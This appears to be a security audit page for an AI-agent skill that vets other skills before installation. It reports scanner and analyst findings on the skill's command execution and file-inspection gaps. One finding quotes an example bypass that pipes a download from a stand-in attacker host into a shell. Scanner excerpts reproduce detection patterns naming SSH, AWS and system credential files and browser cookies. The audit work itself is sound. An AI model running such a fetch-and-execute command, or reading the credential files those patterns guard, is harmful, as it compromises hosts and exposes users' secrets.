Back to skill

Security audit

Skill Install Guard|技能安装守门员

Security checks for vulnerabilities and agentic risk

Overview

The skill is a real install-review helper, but it bundles under-scoped command execution and fail-open review checks that can allow unreviewed or mismatched installs.

Treat this as a Review install. It is reasonable to use for non-destructive preflight reporting with --dry-run or --stop-before-install, but do not let it execute a free-form --install-cmd unless you have manually checked that the command installs exactly the reviewed slug/version from the reviewed source. Be especially cautious with URL or local-folder sources containing binaries, large files, archives, or mismatched metadata.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/skill-install-guard.py:158
Finding

Install Command Restrictions Can Be Bypassed Through Shell Interpreters

Content
View full analysis
subprocess.CompletedProcess: blocked_tokens = {"&&", "||", "|", ";", ">", ">>", "<"} argv = shlex.split(command) if not argv: raise GuardError("Install command is empty after parsing") bad = [token for token in argv if token in blocked_tokens] if bad: raise GuardError( "Install command must be a direct executable invocation without shell operators: " + ", ".join(sorted(set(bad))) ) return subprocess.run(argv, cwd=str(cwd) if cwd else None, text=True, capture_output=True) ``` ### Technical Analysis The function attempts to prevent shell injection by splitting the supplied command with `shlex.split()` and rejecting a small set of shell operators. This does not constrain which executable may be invoked or which options may be passed to it. Shell and language interpreters such as `bash`, `sh`, and `python3` remain permitted. Their inline execution options can evaluate arbitrary instructions without exposing shell operators as separate top-level tokens. For example, the following input is accepted because the outer argument vector contains no separately parsed blocked token: ```text bash -c 'curl https://attacker.example/payload | sh' ``` After parsing, the pipe remains inside the argument supplied to `bash -c`; the validation only checks individual outer argument tokens. The implementation then invokes the interpreter directly through `subprocess.run()`. The supplied installation command is also not bound to the reviewed source, slug, version, or file set. A benign source can therefore receive a low-risk verdict while an unrelated command performs the actual installation or executes an ...[truncated 1387 chars]
Remediation
View remediation
[--version ] ``` 5. Resolve the installer to an expected absolute path and verify that it is a regular file owned by a trusted account. 6. Bind the command arguments to the exact slug, source, and version that were reviewed. 7. Execute with a minimal environment, restricted working directory, and least-privileged account. 8. Where possible, perform installation internally through a safe API rather than executing an operator-supplied command. 9. Add regression tests covering interpreter invocations, inline-code options, nested shell syntax, alternate shells, and commands unrelated to the reviewed source. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
scripts/skill-install-guard.py:252
Finding

Incomplete File Inspection Can Produce a False Safe-to-Install Verdict

Content
View full analysis
bool: if path.suffix.lower() in TEXT_EXTS or path.name in {"SKILL.md", "README.md", "package.json", "_meta.json"}: return True mime, _ = mimetypes.guess_type(path.name) return bool(mime and (mime.startswith("text/") or mime in {"application/json", "application/xml", "application/javascript"})) def read_text_if_reasonable(path: Path, max_bytes: int = MAX_TEXT_BYTES) -> Tuple[Optional[str], Optional[str]]: try: size = path.stat().st_size if size > max_bytes: return None, f"text file too large ({size} bytes > {max_bytes})" return path.read_text(encoding="utf-8", errors="ignore"), None except Exception as exc: return None, str(exc) ``` ```python def gather_local_files(src: Path) -> Tuple[List[Dict], Dict[str, str]]: skill_md = src / "SKILL.md" if not skill_md.is_file(): raise GuardError(f"Local source missing SKILL.md: {skill_md}") meta = parse_skill_frontmatter(skill_md.read_text(encoding="utf-8", errors="ignore")) files: List[Dict] = [] for path in sorted(src.rglob("*")): if not path.is_file(): continue rel = str(path.relative_to(src)) entry = { "path": rel, "size": path.stat().st_size, "kind": "binary", "read_status": "not-read-binary", "text": None, "note": None, } if should_treat_as_text(path): entry["kind"] = "text" text, note = read_text_if_reasonable(path) if text is not None: entry["read_status"] = "read" entry["text"] = text else: entry["read_status"] = "ski ...[truncated 4747 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/skill-install-guard.py:742
Finding

Skill Identity Mismatches Are Reported but Do Not Block Installation

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
Findings (20)

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 47)May include surrounding context.

md
python3 scripts/skill-install-guard.py --slug <skill-slug> [options]

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 80)May include surrounding context.

md
python3 scripts/skill-install-guard.py --slug <skill-slug> [options]

Ae1

High
Category
analysis-evasion
Confidence
100% confidence
Finding

Referenced artifact was not completely inspected

Content

Scanner excerpt · SKILL.md (reported line 91)May include surrounding context.

md
python3 scripts/skill-install-guard.py --slug <skill-slug> [options]

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 80)May include surrounding context.

python
"rules": [
                (r"~/.ssh|\\.ssh/|id_rsa|known_hosts", "Touches SSH keys or SSH config paths."),
                (r"~/.aws|\\.aws/|aws_access_key_id|aws_secret_access_key", "Touches AWS credential material or credential files."),
                (r"~/.config|\\.config/|/etc/passwd|/etc/shadow|/var/lib", "Touches sensitive local/system configuration paths."),
                (r"MEMORY\\.md|USER\\.md|SOUL\\.md|IDENTITY\\.md", "Touches personal memory/profile files that should not be read by untrusted skills."),
                (r"browser cookies|Cookies|sessionStorage|localStorage", "Touches browser cookies/session storage."),
            ],

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 80)May include surrounding context.

python
"rules": [
                (r"~/.ssh|\\.ssh/|id_rsa|known_hosts", "Touches SSH keys or SSH config paths."),
                (r"~/.aws|\\.aws/|aws_access_key_id|aws_secret_access_key", "Touches AWS credential material or credential files."),
                (r"~/.config|\\.config/|/etc/passwd|/etc/shadow|/var/lib", "Touches sensitive local/system configuration paths."),
                (r"MEMORY\\.md|USER\\.md|SOUL\\.md|IDENTITY\\.md", "Touches personal memory/profile files that should not be read by untrusted skills."),
                (r"browser cookies|Cookies|sessionStorage|localStorage", "Touches browser cookies/session storage."),
            ],

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The file presents its title and one-line introduction exclusively in Chinese, with no indication that language selection is optional or that other locales are supported. Under the policy, forcing a specific language without user opt-in is a natural-language locale violation.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The description says to use this skill 'whenever installing skills ... and you need reliable go/no-go decisions,' which is a very broad activation condition without clear boundaries or exclusions. It does not provide negative examples or narrower trigger constraints, so the skill could be invoked for many routine requests beyond cases that truly need this guard flow.

Content

No source excerpt is available for this finding.

Skill Enumeration

Medium
Category
Agent Snooping
Confidence
80% confidence
Finding

Skill enumerates or reads other installed skills. Access to other skills' SKILL.md files or the skills directory reveals prompt instructions, capabilities, and secrets that should be invisible to peer skills.

Content

Scanner excerpt · VERIFICATION-2026-04-08.md (reported line 70)May include surrounding context.

md
- Binary files seen: `0`
- Trust Hierarchy 已在报告中显式输出 tier 与 rationale
- 执行方式:`--stop-before-install`,未执行任何安装命令(非破坏性验证)
- 落地验证:`skills/azhua-skill-vetter/SKILL.md` 存在

## 说明
由于被验证对象本身就是一个安全 vetter,它的 `SKILL.md` 会在说明文字中主动提及高风险模式(例如 credentials、exec、cookies 等),因此当前规则会保守命中多条红旗。这属于**文档语义命中**,不影响本次验证结论;本次验证的目的,是证明:

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 70)May include surrounding context.

python
"Installs packages without listing them",
        "Network calls to IPs instead of domains",
        "Obfuscated code (compressed, encoded, minified)",
        "Requests elevated/sudo permissions",
        "Accesses browser cookies/sessions",
        "Touches credential files",
    ],

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 155)May include surrounding context.

python
def run(cmd: List[str], *, cwd: Optional[Path] = None, check: bool = True) -> subprocess.CompletedProcess:
    return subprocess.run(cmd, cwd=str(cwd) if cwd else None, check=check, text=True, capture_output=True)


def run_install_command(command: str, *, cwd: Optional[Path] = None) -> subprocess.CompletedProcess:

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
88% confidence
Finding

This code executes a runtime-supplied install command after only blocking a small set of shell metacharacters. Although shlex splitting and lack of shell=True reduce classic shell-injection risk, the feature still grants arbitrary executable invocation to whoever controls --install-cmd, which exceeds a passive vetting tool's expected privileges and can be abused to run harmful programs.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 169)May include surrounding context.

python
"Install command must be a direct executable invocation without shell operators: "
            + ", ".join(sorted(set(bad)))
        )
    return subprocess.run(argv, cwd=str(cwd) if cwd else None, text=True, capture_output=True)


def maybe_json(text: str):

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 295)May include surrounding context.

python
cmd = ["clawhub", "inspect", slug, "--file", relpath]
    if version:
        cmd += ["--version", version]
    proc = subprocess.run(cmd, cwd=str(WORKSPACE_ROOT), capture_output=True)
    if proc.returncode != 0:
        return None, proc.stderr.decode("utf-8", errors="ignore")
    return proc.stdout, None

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 412)May include surrounding context.

python
repo = github_repo_from_url(url)
    if repo:
        owner, name = repo
        api = fetch_json_url(f"https://api.github.com/repos/{owner}/{name}") or {}
        return {
            "source": "GitHub",
            "author": (api.get("owner") or {}).get("login") or owner,

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script is presented as an install guard/vetter, but it can autonomously execute an arbitrary install command supplied at runtime. In the context of a security-review tool, bundling execution capability is dangerous because it may create a false sense of safety while still permitting unreviewed code or package managers to run on the host.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The script can reach a subprocess execution point without an interactive confirmation step immediately before running the install command. In a security-sensitive installer context, lack of a final user-facing warning increases the chance that risky commands are executed unintentionally or with insufficient review.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · scripts/skill-install-guard.py (reported line 860)May include surrounding context.

python
break
            verification.append(f"Directory exists but SKILL.md missing: {skill_md}")
    if not verify_candidates:
        verification.append("No verification path candidates were available.")
    elif not found_verified:
        verification.append("No landed path with SKILL.md could be verified from candidate paths.")
        if not (args.dry_run or args.stop_before_install):

Vague Triggers

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

Phrases like 'Before installing any unfamiliar skill' and 'When teams need consistent installation standards' are descriptive but still broad enough to overlap with common workflow requests. The section lacks negative examples or constraints clarifying when the skill should not activate, which can lead to unintended invocation.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Low
Category
Not specified by scanner
Confidence
82% confidence
Finding

The returned note says the local azhua-skill-vetter is recorded only as a lineage/reference artifact and 'not a runtime dependency,' yet detect_vetter_reference actively checks multiple local directories for that skill during normal runtime. This is not just incomplete documentation; it contradicts the claim that no external skill is involved at runtime, because runtime behavior does depend on its presence for mode/source reporting.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

When --report-json is provided, the code creates parent directories and writes a file to disk, which is a filesystem-modifying operation. The action is parameterized by the user, but there is no inline warning, confirmation, or nearby disclosure that directories may be created and files overwritten.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

In the normal completion path, the code writes structured output to a user-specified path and may create missing parent directories. This is a write side effect without a visible confirmation prompt or explicit warning immediately preceding the operation.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.